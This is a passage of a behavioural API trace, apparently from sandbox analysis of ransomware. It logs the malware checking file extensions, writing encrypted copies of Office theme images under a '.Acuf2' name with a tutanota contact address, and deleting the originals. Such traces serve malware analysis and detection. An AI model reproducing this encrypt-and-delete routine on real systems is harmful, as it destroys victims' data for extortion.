	[0051.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.732] lstrlenW (lpString=".1cd") returned 4
	[0051.732] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0051.732] lstrlenW (lpString=".jpg") returned 4
	[0051.732] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.732] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.732] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.733] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1339) returned 1
	[0051.733] CloseHandle (hObject=0x208) returned 1
	[0051.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20
	[0051.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.733] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.733] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0051.739] GetLastError () returned 0x0
	[0051.739] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x53b, lpOverlapped=0x0) returned 1
	[0051.747] WriteFile (in: hFile=0x1f8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x540, lpOverlapped=0x0) returned 1
	[0051.748] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.748] WriteFile (in: hFile=0x1f8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.748] SetEndOfFile (hFile=0x1f8) returned 1
	[0051.748] CloseHandle (hObject=0x1f8) returned 1
	[0051.748] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.748] SetEndOfFile (hFile=0x208) returned 1
	[0051.749] CloseHandle (hObject=0x208) returned 1
	[0051.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString=".doc") returned 4
	[0051.750] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.750] lstrlenW (lpString=".docx") returned 5
	[0051.750] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.750] lstrlenW (lpString=".pdf") returned 4
	[0051.750] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.750] lstrlenW (lpString=".xls") returned 4
	[0051.750] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.750] lstrlenW (lpString=".xlsx") returned 5
	[0051.750] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.750] lstrlenW (lpString=".ppt") returned 4
	[0051.750] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString=".zip") returned 4
	[0051.750] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.750] lstrlenW (lpString=".rar") returned 4
	[0051.750] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.750] lstrlenW (lpString=".bz2") returned 4
	[0051.750] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.750] lstrlenW (lpString=".7z") returned 3
	[0051.750] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString=".dbf") returned 4
	[0051.750] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString=".1cd") returned 4
	[0051.750] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.750] lstrlenW (lpString=".jpg") returned 4
	[0051.751] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.751] lstrlenW (lpString=".doc") returned 4
	[0051.751] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.751] lstrlenW (lpString=".docx") returned 5
	[0051.751] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.751] lstrlenW (lpString=".pdf") returned 4
	[0051.751] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString=".xls") returned 4
	[0051.751] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString=".xlsx") returned 5
	[0051.751] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.751] lstrlenW (lpString=".ppt") returned 4
	[0051.751] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.751] lstrlenW (lpString=".zip") returned 4
	[0051.751] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString=".rar") returned 4
	[0051.751] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.751] lstrlenW (lpString=".bz2") returned 4
	[0051.751] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.751] lstrlenW (lpString=".7z") returned 3
	[0051.751] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.751] lstrlenW (lpString=".dbf") returned 4
	[0051.751] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.751] lstrlenW (lpString=".1cd") returned 4
	[0051.751] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0051.752] lstrlenW (lpString=".jpg") returned 4
	[0051.752] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.752] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.752] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.752] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1439) returned 1
	[0051.752] CloseHandle (hObject=0x208) returned 1
	[0051.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20
	[0051.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.753] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.753] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.887] GetLastError () returned 0x0
	[0051.887] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x59f, lpOverlapped=0x0) returned 1
	[0051.888] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5a0, lpOverlapped=0x0) returned 1
	[0051.889] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.890] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.890] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.890] CloseHandle (hObject=0x1e8) returned 1
	[0051.890] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.890] SetEndOfFile (hFile=0x208) returned 1
	[0051.891] CloseHandle (hObject=0x208) returned 1
	[0051.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.891] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1
	[0051.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.892] lstrlenW (lpString=".doc") returned 4
	[0051.892] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.892] lstrlenW (lpString=".docx") returned 5
	[0051.892] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.892] lstrlenW (lpString=".pdf") returned 4
	[0051.892] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.892] lstrlenW (lpString=".xls") returned 4
	[0051.892] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.892] lstrlenW (lpString=".xlsx") returned 5
	[0051.892] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.892] lstrlenW (lpString=".ppt") returned 4
	[0051.892] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.892] lstrlenW (lpString=".zip") returned 4
	[0051.892] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.892] lstrlenW (lpString=".rar") returned 4
	[0051.892] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.892] lstrlenW (lpString=".bz2") returned 4
	[0051.892] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.892] lstrlenW (lpString=".7z") returned 3
	[0051.892] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.892] lstrlenW (lpString=".dbf") returned 4
	[0051.893] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.893] lstrlenW (lpString=".1cd") returned 4
	[0051.893] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.893] lstrlenW (lpString=".jpg") returned 4
	[0051.893] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.893] lstrlenW (lpString=".doc") returned 4
	[0051.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.893] lstrlenW (lpString=".docx") returned 5
	[0051.893] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.893] lstrlenW (lpString=".pdf") returned 4
	[0051.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.893] lstrlenW (lpString=".xls") returned 4
	[0051.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.893] lstrlenW (lpString=".xlsx") returned 5
	[0051.893] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.893] lstrlenW (lpString=".ppt") returned 4
	[0051.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.893] lstrlenW (lpString=".zip") returned 4
	[0051.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.893] lstrlenW (lpString=".rar") returned 4
	[0051.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.894] lstrlenW (lpString=".bz2") returned 4
	[0051.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.894] lstrlenW (lpString=".7z") returned 3
	[0051.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.894] lstrlenW (lpString=".dbf") returned 4
	[0051.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.894] lstrlenW (lpString=".1cd") returned 4
	[0051.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72
	[0051.894] lstrlenW (lpString=".jpg") returned 4
	[0051.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.894] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0051.894] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0051.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.895] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3970) returned 1
	[0051.895] CloseHandle (hObject=0x208) returned 1
	[0051.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20
	[0051.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0051.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0051.895] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.895] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0051.897] GetLastError () returned 0x0
	[0051.897] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xf82, lpOverlapped=0x0) returned 1
	[0051.899] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf90, lpOverlapped=0x0) returned 1
	[0051.900] ReadFile (in: hFile=0x208, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0051.900] WriteFile (in: hFile=0x1e8, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0051.900] SetEndOfFile (hFile=0x1e8) returned 1
	[0051.900] CloseHandle (hObject=0x1e8) returned 1
	[0051.901] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.901] SetEndOfFile (hFile=0x208) returned 1
	[0051.901] CloseHandle (hObject=0x208) returned 1
	[0051.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0051.902] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1
	[0051.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.902] lstrlenW (lpString=".doc") returned 4
	[0051.902] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.902] lstrlenW (lpString=".docx") returned 5
	[0051.902] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.902] lstrlenW (lpString=".pdf") returned 4
	[0051.902] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.902] lstrlenW (lpString=".xls") returned 4
	[0051.902] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.902] lstrlenW (lpString=".xlsx") returned 5
	[0051.902] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.902] lstrlenW (lpString=".ppt") returned 4
	[0051.902] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.902] lstrlenW (lpString=".zip") returned 4
	[0051.902] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.902] lstrlenW (lpString=".rar") returned 4
	[0051.902] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.903] lstrlenW (lpString=".bz2") returned 4
	[0051.903] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.903] lstrlenW (lpString=".7z") returned 3
	[0051.903] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString=".dbf") returned 4
	[0051.903] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString=".1cd") returned 4
	[0051.903] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString=".jpg") returned 4
	[0051.903] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString=".doc") returned 4
	[0051.903] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.903] lstrlenW (lpString=".docx") returned 5
	[0051.903] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0051.903] lstrlenW (lpString=".pdf") returned 4
	[0051.903] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.903] lstrlenW (lpString=".xls") returned 4
	[0051.903] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.903] lstrlenW (lpString=".xlsx") returned 5
	[0051.903] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0051.903] lstrlenW (lpString=".ppt") returned 4
	[0051.903] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76
	[0051.903] lstrlenW (lpString=".zip") returned 4
	[0051.903] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.904] lstrlenW (lpString=".rar") returned 4
	[0051.904] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
